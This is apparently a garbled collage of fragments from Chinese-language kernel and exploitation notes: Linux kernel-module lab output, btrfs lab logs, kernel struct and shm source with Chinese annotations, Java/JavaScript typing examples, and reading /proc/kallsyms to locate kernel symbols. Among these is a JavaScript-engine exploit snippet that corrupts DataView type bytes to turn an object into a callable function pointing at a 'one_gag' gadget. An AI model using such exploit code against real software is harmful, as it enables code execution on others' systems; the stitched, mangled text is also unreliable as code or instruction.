➜ 1-2-test-mod git:(master) ✗ make make -C /lib/modules/`uname -r`/build M=`pwd` make[1]: 进入目录“/usr/src/linux-headers-5.15.0-48-generic” CC [M] /home/yhellow/linux/tools/labs/skels/kernel_modules/1-2-test-mod/hello_mod.o MODPOST /home/yhellow/linux/tools/labs/skels/kernel_modules/1-2-test-mod/Module.symvers CC [M] /home/yhellow/linux/tools/labs/skels/kernel_modules/1-2-test-mod/hello_mod.mod.o LD [M] /home/yhellow/linux/tools/labs/skels/kernel_modules/1-2-test-mod/hello_mod.ko BTF [M] /home/yhellow/linux/tools/labs/skels/kernel_modules/1-2-test-mod/hello_mod.ko Skipping BTF generation for /home/yhellow/linux/tools/labs/skels/kernel_modules/1-2-test-mod/hello_mod.ko due to unavailability of vmlinux make[1]: 离开目录“/usr/src/linux-headers-5.15.0-48-generic”
/* TODO: print current process pid and its name */ p = current; pr_info("current pid: %d\n",p->pid); pr_info("current name: %s\n",p->comm); /* TODO: print the pid and name of all processes */ list_for_each(pos, &p->tasks) { p = list_entry(pos, struct task_struct, tasks); pr_info("current pid: %d\n",p->pid); pr_info("current name: %s\n",p->comm); } return0; }
staticvoidmy_proc_exit(void) { /* TODO: print current process pid and name */ structtask_struct *p; p = current; pr_info("current pid: %d\n",p->pid); pr_info("current name: %s\n",p->comm); }
make menuconfig ---------------------------------------- File systems -> Btrfs filesystem support
1 2 3 4 5 6 7
root@qemux86:~# mount /dev/vdd /test BTRFS: device fsid df3c665a-363d-46f8-aef0-f9959bad6832 devid 1 transid 9 /dev/) BTRFS info(device vdd): disk space caching is enabled root@qemux86:~# ls /test README root@qemux86:~# cat /test/README Congratulations, you were able to follow instructions!
int closing; unsignedchar *write_buf; int write_cnt; /* If the tty has a pending do_SAK, queue it here - akpm */ structwork_structSAK_work; structtty_port *port; } __randomize_layout;
/ # cat /proc/kallsyms 0000000000000000 A irq_stack_union 0000000000000000 A __per_cpu_start ffffffffa3a00000 T startup_64 ffffffffa3a00000 T _stext ffffffffa3a00000 T _text ffffffffa3a00030 T secondary_startup
kernel_base == 0xffffffffa3a00000
1 2 3 4
/ # grep security_task_prctl /proc/kallsyms ffffffffa3cbd410 T security_task_prctl / # grep poweroff_work_func /proc/kallsyms ffffffffa3a9c4c0 t poweroff_work_func
/* * This controls what userland symbols we export from the vDSO. */ VERSION { LINUX_2.6 { global: clock_gettime; __vdso_clock_gettime; gettimeofday; __vdso_gettimeofday; getcpu; __vdso_getcpu; time; __vdso_time; local: *; };
// Java(静态类型) classMain{ publicstaticvoidmain(String[] args){ // 一开始就定了num的类型是int,不能修改成string int num = 100; num = 50; // ok num = '100'// error System.out.printInt(num); } }
1 2 3 4 5 6 7
// JavaScript(动态类型) var num = 100 // 可以随意修改num的类型 num = 50// ok num = '100'// ok num = true// ok console.log(num)
b = DataView(0x68); a = DataView(0x48); b = DataView(0x48); c = DataView(0x48); e = DataView(0x48); f = DataView(0x1000 * 0x1000); /* jsB_new_DataView:0x555555571870 */ /* Dv_setUint8:0x555555577680 */
b.setUint8(0x48+8, 10); // set c type to Date Date.prototype.setTime.bind(c)(1.09522e+12) // write number + length /* c.setTime(0) */ b.setUint8(0x48+8, 16); // set c type back to DataView print(c.getLength())
这里不能直接使用 c.setTime(0), 对象的 prototype 在我们一创建的时候其实就已经确定了,所以当我们改变 type 的时候 prototype 并没有改变
b = DataView(0x68); a = DataView(0x48); b = DataView(0x48); c = DataView(0x48); e = DataView(0x48); f = DataView(0x1000 * 0x1000);
b.setUint8(0x48+8, 10); // set c type to Date Date.prototype.setTime.bind(c)(1.09522e+12) // write number + length b.setUint8(0x48+8, 16); // set c type back to DataView print(c.getLength())
e_obj_off = 192 c.setUint8(160, 4) // this sets type to JS_CCFUNCTION
// set lower 4 bytes of js_CFunction function c.setUint32(e_obj_off+8, one_gag&0xffffffff)
// set upper 4 bytes of js_CFunction function c.setUint32(e_obj_off+8+4, Math.floor(one_gag/sh32)&0xffffffff) e() // e is now a function so we can call it
/* * shmid gets reported as "inode#" in /proc/pid/maps. * proc-ps tools use this. Changing this will break them. */ file_inode(file)->i_ino = shp->shm_perm.id;
/* The task created the shm object. NULL if the task is dead. */ structtask_struct *shm_creator; structlist_headshm_clist;/* list by creator */ } __randomize_layout;
if (addr) { /* shmaddr不为空(不常用) */ if (addr & (shmlba - 1)) { if (shmflg & SHM_RND) { addr &= ~(shmlba - 1); /* round down */
/* * Ensure that the round-down is non-nil * when remapping. This can happen for * cases when addr < shmlba. */ if (!addr && (shmflg & SHM_REMAP)) goto out; } else #ifndef __ARCH_FORCE_SHMLBA if (addr & ~PAGE_MASK) #endif goto out; }
/* * We cannot rely on the fs check since SYSV IPC does have an * additional creator id... */ ns = current->nsproxy->ipc_ns; rcu_read_lock(); shp = shm_obtain_object_check(ns, shmid); /* 通过共享内存的shmid,在基数树中找到对应的struct shmid_kernel结构 */ if (IS_ERR(shp)) { err = PTR_ERR(shp); goto out_unlock; }
err = -EACCES; if (ipcperms(ns, &shp->shm_perm, acc_mode)) goto out_unlock;
err = security_shm_shmat(&shp->shm_perm, shmaddr, shmflg); if (err) goto out_unlock;
ipc_lock_object(&shp->shm_perm);
/* check if shm_destroy() is tearing down shp */ if (!ipc_valid_object(&shp->shm_perm)) { ipc_unlock_object(&shp->shm_perm); err = -EIDRM; goto out_unlock; }
/* * We need to take a reference to the real shm file to prevent the * pointer from becoming stale in cases where the lifetime of the outer * file extends beyond that of the shm segment. It's not usually * possible, but it can happen during remap_file_pages() emulation as * that unmaps the memory, then does ->mmap() via file reference only. * We'll deny the ->mmap() if the shm segment was since removed, but to * detect shm ID reuse we need to compare the file pointers. */ base = get_file(shp->shm_file); /* 找到shmem上的内存文件base */ shp->shm_nattch++; size = i_size_read(file_inode(base)); /* 获取shm_file的size */ ipc_unlock_object(&shp->shm_perm); rcu_read_unlock();
if (down_write_killable(&mm->mmap_sem)) return -EINTR;
/* * This function tries to be smart and unmap shm segments that * were modified by partial mlock or munmap calls: * - It first determines the size of the shm segment that should be * unmapped: It searches for a vma that is backed by shm and that * started at address shmaddr. It records it's size and then unmaps * it. * - Then it unmaps all shm vmas that started at shmaddr and that * are within the initially determined size and that are from the * same shm segment from which we determined the size. * Errors from do_munmap are ignored: the function only fails if * it's called with invalid parameters or if it's called to unmap * a part of a vma. Both calls in this function are for full vmas, * the parameters are directly copied from the vma itself and always * valid - therefore do_munmap cannot fail. (famous last words?) */ /* * If it had been mremap()'d, the starting address would not * match the usual checks anyway. So assume all vma's are * above the starting address given. */ vma = find_vma(mm, addr); /* 根据一个属于某个进程的虚拟地址,找到其所属的进程虚拟区间,并返回相应的vma_area_struct结构体指针 */
#ifdef CONFIG_MMU while (vma) { next = vma->vm_next;
/* * Check if the starting address would match, i.e. it's * a fragment created by mprotect() and/or munmap(), or it * otherwise it starts at this address with no hassles. */ if ((vma->vm_ops == &shm_vm_ops) && (vma->vm_start - addr)/PAGE_SIZE == vma->vm_pgoff) {
/* * Record the file of the shm segment being * unmapped. With mremap(), someone could place * page from another segment but with equal offsets * in the range we are unmapping. */ file = vma->vm_file; size = i_size_read(file_inode(vma->vm_file)); do_munmap(mm, vma->vm_start, vma->vm_end - vma->vm_start, NULL); /* 释放调用do_mmap生成的内存空间 */ /* * We discovered the size of the shm segment, so * break out of here and fall through to the next * loop that uses the size information to stop * searching for matching vma's. */ retval = 0; vma = next; break; } vma = next; }
/* * We need look no further than the maximum address a fragment * could possibly have landed at. Also cast things to loff_t to * prevent overflows and make comparisons vs. equal-width types. */ size = PAGE_ALIGN(size); while (vma && (loff_t)(vma->vm_end - addr) <= size) { next = vma->vm_next;
/* finding a matching vma now does not alter retval */ if ((vma->vm_ops == &shm_vm_ops) && ((vma->vm_start - addr)/PAGE_SIZE == vma->vm_pgoff) && (vma->vm_file == file)) do_munmap(mm, vma->vm_start, vma->vm_end - vma->vm_start, NULL); /* 释放调用do_mmap生成的内存空间 */ vma = next; }
#else/* CONFIG_MMU */ /* under NOMMU conditions, the exact address to be destroyed must be * given */ if (vma && vma->vm_start == addr && vma->vm_ops == &shm_vm_ops) { do_munmap(mm, vma->vm_start, vma->vm_end - vma->vm_start, NULL); /* 释放调用do_mmap生成的内存空间 */ retval = 0; }